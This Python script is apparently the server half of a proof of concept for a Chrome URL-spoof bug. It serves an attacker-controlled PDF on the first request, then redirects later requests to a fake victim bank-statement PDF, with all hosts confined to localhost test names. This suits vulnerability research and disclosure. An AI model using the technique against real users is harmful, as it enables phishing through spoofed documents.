#!/usr/bin/env python3
"""HTTP server for the MIME-handler fallback URL-spoof POC.

Hostnames are distinguished by the request path:
  /attacker/x.pdf   - first hit: 200 application/pdf (attacker body)
                      later hits: 302 -> http://victim.test:<port>/victim/real.pdf
  /victim/real.pdf  - 200 application/pdf (legitimate victim body)

Chrome is launched with --host-resolver-rules so attacker.test and
victim.test both resolve to 127.0.0.1.
"""

import http.server
import socketserver
import sys
import threading

PORT = 8080

# ---------------------------------------------------------------------------
# Minimal hand-rolled PDFs with visible text + a /Title in the Info dict so
# provenance can be checked both visually and programmatically.
# ---------------------------------------------------------------------------

def make_pdf(display_text: str, title: str) -> bytes:
    stream = f"BT /F1 36 Tf 50 700 Td ({display_text}) Tj ET\n".encode()
    objs = []
    objs.append(b"<</Type/Catalog/Pages 2 0 R>>")
    objs.append(b"<</Type/Pages/Kids[3 0 R]/Count 1>>")
    objs.append(
        b"<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]"
        b"/Contents 4 0 R/Resources<</Font<</F1 5 0 R>>>>>>")
    objs.append(b"<</Length %d>>stream\n" % len(stream) + stream + b"endstream")
    objs.append(b"<</Type/Font/Subtype/Type1/BaseFont/Helvetica>>")
    objs.append(f"<</Title({title})/Producer(poc)>>".encode())

    out = bytearray(b"%PDF-1.4\n")
    offsets = [0]
    for i, body in enumerate(objs, start=1):
        offsets.append(len(out))
        out += f"{i} 0 obj".encode() + body + b"endobj\n"
    xref_pos = len(out)
    out += f"xref\n0 {len(objs)+1}\n".encode()
    out += b"0000000000 65535 f \n"
    for off in offsets[1:]:
        out += f"{off:010d} 00000 n \n".encode()
    out += (
        f"trailer<</Size {len(objs)+1}/Root 1 0 R/Info 6 0 R>>\n"
        f"startxref\n{xref_pos}\n%%EOF\n"
    ).encode()
    return bytes(out)


ATTACKER_PDF = make_pdf(
    "*** ATTACKER CONTROLLED CONTENT ***", "ATTACKER_SPOOFED_DOCUMENT")
VICTIM_PDF = make_pdf(
    "Legitimate victim.test bank statement", "victim.test real document")

assert len(ATTACKER_PDF) != len(VICTIM_PDF), "make sizes differ for provenance"

# ---------------------------------------------------------------------------

_hit_lock = threading.Lock()
_attacker_hits = 0


class Handler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def _pdf(self, body: bytes):
        self.send_response(200)
        self.send_header("Content-Type", "application/pdf")
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Cache-Control", "no-store")
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        global _attacker_hits
        host = self.headers.get("Host", "")
        sys.stderr.write(f"[server] GET host={host} path={self.path}\n")
        sys.stderr.flush()

        if self.path == "/attacker/x.pdf":
            with _hit_lock:
                _attacker_hits += 1
                hit = _attacker_hits
            if hit == 1:
                sys.stderr.write("[server]   -> 200 attacker PDF "
                                 f"({len(ATTACKER_PDF)} bytes)\n")
                self._pdf(ATTACKER_PDF)
            else:
                victim_port = host.rsplit(":", 1)[-1] if ":" in host else PORT
                loc = f"http://victim.test:{victim_port}/victim/real.pdf"
                sys.stderr.write(f"[server]   -> 302 {loc}\n")
                self.send_response(302)
                self.send_header("Location", loc)
                self.send_header("Cache-Control", "no-store")
                self.send_header("Content-Length", "0")
                self.end_headers()
            return

        if self.path == "/victim/real.pdf":
            sys.stderr.write("[server]   -> 200 victim PDF "
                             f"({len(VICTIM_PDF)} bytes)\n")
            self._pdf(VICTIM_PDF)
            return

        if self.path == "/reset":
            with _hit_lock:
                _attacker_hits = 0
            self.send_response(200)
            self.send_header("Content-Length", "2")
            self.end_headers()
            self.wfile.write(b"ok")
            return

        self.send_response(404)
        self.send_header("Content-Length", "0")
        self.end_headers()

    def log_message(self, fmt, *args):
        pass  # quiet default access log; we log explicitly above


class ThreadingServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    allow_reuse_address = True
    daemon_threads = True


if __name__ == "__main__":
    port = int(sys.argv[1]) if len(sys.argv) > 1 else PORT
    sys.stderr.write(
        f"[server] attacker PDF: {len(ATTACKER_PDF)} bytes, "
        f"victim PDF: {len(VICTIM_PDF)} bytes\n")
    sys.stderr.write(f"[server] listening on 0.0.0.0:{port}\n")
    sys.stderr.flush()
    ThreadingServer(("0.0.0.0", port), Handler).serve_forever()